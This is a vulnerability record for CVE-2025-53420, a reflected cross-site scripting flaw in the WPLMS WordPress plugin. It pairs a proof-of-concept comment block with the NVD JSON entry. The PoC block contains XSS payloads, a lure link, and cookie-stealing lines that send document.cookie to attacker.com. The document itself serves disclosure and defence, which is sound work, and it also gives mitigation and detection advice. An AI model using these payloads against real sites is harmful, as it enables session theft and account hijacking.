CVE-2025-53420

<!-- CVE-2025-53420 WPLMS Reflected XSS PoC --> <!-- Attack Scenario: Inject JavaScript via vulnerable parameter --> <!-- PoC 1: Basic XSS Injection --> <!-- Replace TARGET_URL with the vulnerable WPLMS site URL --> <!-- Example: https://example.com/wplms-page?q=<script>alert(document.cookie)</script> --> <!-- Attack URL Template --> <!-- <a href="http://TARGET_URL/?vulnerable_param=<script>alert('XSS')</script>">Click for free course!</a> --> <!-- PoC 2: Cookie Stealing Payload --> <!-- This payload steals the victim's session cookie --> <!-- <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)"> --> <!-- PoC 3: DOM-based XSS --> <!-- document.location='https://attacker.com/phishing?data='+document.cookie --> <!-- Real-world attack URL example --> <!-- https://vulnerable-site.com/?s=<script>new Image().src='https://attacker.com/log?c='+document.cookie</script> --> <!-- Mitigation: Upgrade to WPLMS > 1.9.9.8 and implement proper input validation --> <!-- Detection: Monitor for patterns like <script>, onerror=, onload= in URL parameters -->

{"cve": {"id": "CVE-2025-53420", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:49.310", "lastModified": "2026-01-20T15:16:54.240", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in VibeThemes WPLMS wplms_plugin allows Reflected XSS.This issue affects WPLMS: from n/a through <= 1.9.9.8."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vibethemes:wordpress_learning_management_system:*:*:*:*:*:wordpress:*:*", "versionEndIncluding": "1.9.9.8", "matchCriteriaId": "D4E23BE5-787D-47A8-9022-872D836F0AEC"}]}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/wplms_plugin/vulnerability/wordpress-wplms-plugin-1-9-9-7-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}